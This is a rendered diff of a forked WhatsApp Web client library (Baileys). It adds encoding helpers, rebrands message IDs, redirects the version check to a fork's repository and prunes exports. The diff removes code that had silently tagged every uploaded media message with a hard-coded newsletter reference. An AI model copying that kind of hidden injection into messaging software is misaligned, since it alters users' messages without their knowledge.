throw new Error(`Type ${type} not supported`);
|
|
174
|
+
}
|
|
175
|
+
};
|
|
176
|
+
exports.encoded = encoded;
|
|
177
|
+
const decoded = async (type, encodedStr) => {
|
|
178
|
+
switch (type.toLowerCase()) {
|
|
179
|
+
case 'base64':
|
|
180
|
+
return Buffer.from(encodedStr, 'base64').toString('utf-8');
|
|
181
|
+
case 'base32':
|
|
182
|
+
const base32Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
|
|
183
|
+
const cleanStr = encodedStr.toUpperCase().replace(/=+$/, '');
|
|
184
|
+
let bits = 0;
|
|
185
|
+
let value = 0;
|
|
186
|
+
let output = [];
|
|
187
|
+
for (let i = 0; i < cleanStr.length; i++) {
|
|
188
|
+
const charIndex = base32Alphabet.indexOf(cleanStr[i]);
|
|
189
|
+
if (charIndex === -1) continue;
|
|
190
|
+
value = (value << 5) | charIndex;
|
|
191
|
+
bits += 5;
|
|
192
|
+
while (bits >= 8) {
|
|
193
|
+
output.push((value >>> (bits - 8)) & 255);
|
|
194
|
+
bits -= 8;
|
|
195
|
+
}
|
|
196
|
+
}
|
|
197
|
+
return Buffer.from(output).toString('utf-8');
|
|
198
|
+
case 'hex':
|
|
199
|
+
case 'base16':
|
|
200
|
+
return Buffer.from(encodedStr, 'hex').toString('utf-8');
|
|
201
|
+
case 'binary':
|
|
202
|
+
const bytes = encodedStr.split(' ').map(bin => parseInt(bin, 2));
|
|
203
|
+
return Buffer.from(bytes).toString('utf-8');
|
|
204
|
+
case 'base64url':
|
|
205
|
+
const base64 = encodedStr.replace(/-/g, '+').replace(/_/g, '/');
|
|
206
|
+
return Buffer.from(base64, 'base64').toString('utf-8');
|
|
207
|
+
default:
|
|
208
|
+
throw new Error(`Type ${type} not supported`);
|
|
209
|
+
}
|
|
210
|
+
};
|
|
211
|
+
exports.decoded = decoded;
|
|
140
212
|
async function promiseTimeout(ms, promise) {
|
|
141
213
|
if (!ms) {
|
|
142
214
|
return new Promise(promise);
|
|
@@ -176,7 +248,7 @@ const generateMessageIDV2 = (userId) => {
|
|
|
176
248
|
};
|
|
177
249
|
exports.generateMessageIDV2 = generateMessageIDV2;
|
|
178
250
|
// generate a random ID to attach to a message
|
|
179
|
-
const generateMessageID = () => '
|
|
251
|
+
const generateMessageID = () => 'Z4PH-' + (0, crypto_1.randomBytes)(6).toString('hex').toUpperCase();
|
|
180
252
|
exports.generateMessageID = generateMessageID;
|
|
181
253
|
function bindWaitForEvent(ev, event) {
|
|
182
254
|
return async (check, timeoutMs) => {
|
|
@@ -231,7 +303,10 @@ const fetchLatestWaWebVersion = async (options = {}) => {
|
|
|
231
303
|
'Accept': '*/*'
|
|
232
304
|
}
|
|
233
305
|
|
|
234
|
-
const headers = {
|
|
306
|
+
const headers = {
|
|
307
|
+
...defaultHeaders,
|
|
308
|
+
...options.headers
|
|
309
|
+
}
|
|
235
310
|
|
|
236
311
|
const response = await fetch_1('https://web.whatsapp.com/sw.js', {
|
|
237
312
|
method: 'GET',
|
|
@@ -243,7 +318,7 @@ const fetchLatestWaWebVersion = async (options = {}) => {
|
|
|
243
318
|
}
|
|
244
319
|
|
|
245
320
|
const data = await response.text()
|
|
246
|
-
const regex = /"client_revision":\s*(\d+)/
|
|
321
|
+
const regex = /"client_revision":\s*(\d+)/
|
|
247
322
|
const match = data.match(regex)
|
|
248
323
|
|
|
249
324
|
if (!match || !match[1]) {
|
|
@@ -273,7 +348,7 @@ exports.fetchLatestWaWebVersion = fetchLatestWaWebVersion;
|
|
|
273
348
|
* Use to ensure your WA connection is always on the latest version
|
|
274
349
|
*/
|
|
275
350
|
const fetchLatestBaileysVersion = async (options = {}) => {
|
|
276
|
-
const URL = 'https://raw.githubusercontent.com/
|
|
351
|
+
const URL = 'https://raw.githubusercontent.com/z4phdev/baileys/master/src/Defaults/baileys-version.json';
|
|
277
352
|
try {
|
|
278
353
|
const result = await axios_1.default.get(URL, {
|
|
279
354
|
...options,
|
package/lib/Utils/index.js
CHANGED
|
@@ -27,10 +27,6 @@ __exportStar(require("./chat-utils"), exports);
|
|
|
27
27
|
__exportStar(require("./lt-hash"), exports);
|
|
28
28
|
__exportStar(require("./auth-utils"), exports);
|
|
29
29
|
__exportStar(require("./baileys-event-stream"), exports);
|
|
30
|
-
__exportStar(require("./browser-utils"), exports);
|
|
31
|
-
__exportStar(require("./message-retry-manager"), exports);
|
|
32
|
-
__exportStar(require("./pre-key-manager"), exports);
|
|
33
|
-
__exportStar(require("./vialeys-event-stream"), exports);
|
|
34
30
|
__exportStar(require("./use-multi-file-auth-state"), exports);
|
|
35
31
|
__exportStar(require("./link-preview"), exports);
|
|
36
32
|
__exportStar(require("./event-buffer"), exports);
|
package/lib/Utils/messages.js
CHANGED
|
@@ -81,38 +81,6 @@ const prepareWAMessageMedia = async (message, options) => {
|
|
|
81
81
|
|
|
82
82
|
const uploadData = {
|
|
83
83
|
...message,
|
|
84
|
-
...(message.annotations ? {
|
|
85
|
-
annotations: message.annotations
|
|
86
|
-
} : {
|
|
87
|
-
annotations: [
|
|
88
|
-
{
|
|
89
|
-
polygonVertices: [
|
|
90
|
-
{
|
|
91
|
-
x: 60.71664810180664,
|
|
92
|
-
y: -36.39784622192383
|
|
93
|
-
},
|
|
94
|
-
{
|
|
95
|
-
x: -16.710189819335938,
|
|
96
|
-
y: 49.263675689697266
|
|
97
|
-
},
|
|
98
|
-
{
|
|
99
|
-
x: -56.585853576660156,
|
|
100
|
-
y: 37.85963439941406
|
|
101
|
-
},
|
|
102
|
-
{
|
|
103
|
-
x: 20.840980529785156,
|
|
104
|
-
y: -47.80188751220703
|
|
105
|
-
}
|
|
106
|
-
],
|
|
107
|
-
newsletter: {
|
|
108
|
-
newsletterJid: "120363418090359162@newsletter",
|
|
109
|
-
serverMessageId: 0,
|
|
110
|
-
newsletterName: "RiljiX7",
|
|
111
|
-
contentType: "UPDATE",
|
|
112
|
-
}
|
|
113
|
-
}
|
|
114
|
-
]
|
|
115
|
-
}),
|
|
116
84
|
media: message[mediaType]
|
|
117
85
|
};
|
|
118
86
|
delete uploadData[mediaType];
|
|
@@ -809,7 +777,10 @@ const assertMediaContent = (content) => {
|
|
|
809
777
|
|| (content === null || content === void 0 ? void 0 : content.audioMessage)
|
|
810
778
|
|| (content === null || content === void 0 ? void 0 : content.stickerMessage);
|
|
811
779
|
if (!mediaContent) {
|
|
812
|
-
throw new boom_1.Boom('given message is not a media message', {
|
|
780
|
+
throw new boom_1.Boom('given message is not a media message', {
|
|
781
|
+
statusCode: 400,
|
|
782
|
+
data: content
|
|
783
|
+
});
|
|
813
784
|
}
|
|
814
785
|
return mediaContent;
|
|
815
786
|
};
|
|
@@ -18,5 +18,3 @@ __exportStar(require("./USyncDeviceProtocol"), exports);
|
|
|
18
18
|
__exportStar(require("./USyncContactProtocol"), exports);
|
|
19
19
|
__exportStar(require("./USyncStatusProtocol"), exports);
|
|
20
20
|
__exportStar(require("./USyncDisappearingModeProtocol"), exports);
|
|
21
|
-
__exportStar(require("./USyncBotProfileProtocol"), exports);
|
|
22
|
-
__exportStar(require("./USyncLIDProtocol"), exports);
|